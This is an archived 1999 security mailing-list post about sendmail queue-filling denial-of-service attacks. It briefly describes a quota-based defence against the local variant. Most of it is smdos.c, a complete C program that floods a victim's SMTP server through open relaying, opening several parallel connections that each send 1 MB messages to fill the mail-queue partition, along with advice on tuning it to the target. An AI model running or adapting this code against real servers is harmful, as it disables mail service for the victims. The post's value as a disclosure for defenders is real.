Re: Possible local DoS in sendmail

From: Michał Szymański (siwa9at_private)
Date: Fri Apr 02 1999 - 14:42:56 PST

  • Next message: Grant Bayley: "Long-standing bug in AustNet IRC network Virtual World"

    Hi folks,
    
    This local queue filling DoS attack in sendmail is quite dangerous. But good
    security policy (like mine) will prevent attackers from doing such things.
    Control files (in /var/spool/mqueue) created by 'sendmail -t' are owned by
    root.attacker's_group; turn on quotas for group 'attacker's_group' on the
    file system containing /var/spool/mqueue directory, and your host will be not
    vulnerable; but you _have to_ configure your sendmail as _nosuid_ daemon;
    
    Much more dangerous are remote queue filling DoS attacks. If you have enabled
    relaying, you can use shown below smdos.c proggie; it will quite fast fullfill
    partition on disk where /var/spool/mqueue resides. you should notice increased
    LA during attack; in contrast to local DoS attacks, control files created by
    smdos.c are owned by root.root, so ... it's much more difficult to prevent
    offenders from doing it;
    
    don't forget to change BSIZE definition (in smdos.c) to appropriate victim's
    host message size limitation (MaxMessageSize option); you can also increase
    MAXCONN definition.
    
    smdos.c:
    
    --- CUT HERE ---
    /*
    By Michal Szymanski <siwa9at_private>
    
    Sendmail DoS (up to 8.9.3);
    
    Sat Apr  3 00:12:31 CEST 1999
    */
    
    #include <stdio.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <errno.h>
    
    #undef VERBOSE		/* define it, if MORECONN is undefined */
    
    #define MORECONN
    
    // #define RCPT_TO      "fooat_private"
    
    #define RCPT_TO	"fooat_private"
    
    #ifdef MORECONN
    #define MAXCONN	5
    #endif
    
    #define BSIZE	1048576		/* df* control file size */
    #define PORT	25
    
    char buffer[BSIZE];
    int sockfd,x,loop,chpid;
    
    void usage(char *fname) {
    fprintf(stderr,"Usage: %s <victim_host>\n",fname);
    exit(1);
    }
    
    void say(char *what) {
    
    if (write(sockfd,what,strlen(what))<0) {
    perror("write()");
    exit(errno);
    }
    
    #ifdef VERBOSE
    fprintf(stderr,"<%s",what);
    #endif
    
    bzero(buffer,BSIZE);
    
    usleep(1000);
    
    if (read(sockfd,buffer,BSIZE)<0) {
    perror("read()");
    exit(errno);
    }
    
    #ifdef VERBOSE
    fprintf(stderr,buffer);
    #endif
    }
    			
    
    int main(int argc,char *argv[]) {
    struct sockaddr_in serv_addr;
    struct hostent *host;
    char *hostname,hostaddr[20];
    
    fprintf(stderr,"Sendmail DoS (up to 8.9.3) by siwa9 [siwa9at_private]\n");
    
    if (argc<2) usage(argv[0]);
    
    #ifdef VERBOSE
    fprintf(stderr,">Preparing address. \n");
    #endif
    
    hostname=argv[1];
    
    serv_addr.sin_port=htons(PORT);
    serv_addr.sin_family=AF_INET;
    
    if ((serv_addr.sin_addr.s_addr=inet_addr(hostname))==-1) {
    
    #ifdef VERBOSE
    fprintf(stderr,">Getting info from DNS.\n");
    #endif
    
    if ((host=gethostbyname(hostname))==NULL) {
    herror("gethostbyname()");
    exit(h_errno);
    }
    
    serv_addr.sin_family=host->h_addrtype;
    
    bcopy(host->h_addr,(char *)&serv_addr.sin_addr,host->h_length);
    
    #ifdef VERBOSE
    fprintf(stderr,">Official name of host: %s\n",host->h_name);
    #endif
    
    hostname=host->h_name;
    
    sprintf(hostaddr,"%d.%d.%d.%d",(unsigned char)host->h_addr[0],
    			       (unsigned char)host->h_addr[1],
    			       (unsigned char)host->h_addr[2],
    			       (unsigned char)host->h_addr[3]);
    
    }
    else sprintf(hostaddr,"%s",hostname);
    
    #ifdef MORECONN
    for (;loop<MAXCONN;loop++) if (!(chpid=fork())) {
    #endif
    
    for(;;) {
    
    bzero(&(serv_addr.sin_zero),8);
    
    if ((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) {
    perror("socket()");
    exit(errno);
    }
    
    if ((connect(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr))) == -1) {
    perror("connect()");
    exit(errno);
    }
    
    #ifdef VERBOSE
    fprintf(stderr,">Connected to [%s:%d].\n",hostname,PORT);
    #endif
    
    bzero(buffer,BSIZE);read(sockfd,buffer,BSIZE);
    #ifdef VERBOSE
    fprintf(stderr,buffer);
    #else
    fprintf(stderr,".");
    #endif
    
    say("helo foo\n");
    say("mail from:root@localhost\n");
    say("rcpt to:" RCPT_TO "\n");
    say("data\n");
    
    for (x=0;x<=BSIZE;x++) buffer[x]='X';write(sockfd,buffer,BSIZE);
    
    say("\n.\n");
    sleep(1);
    say("quit\n");
    
    shutdown(sockfd,2);
    
    close(sockfd);
    
    #ifdef VERBOSE
    fprintf(stderr,">Connection closed succesfully.\n");
    #endif
    }
    #ifdef MORECONN
    }
    waitpid(chpid,NULL,0);
    #endif
    return 0;
    }
    --- CUT HERE ---
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:41:30 PDT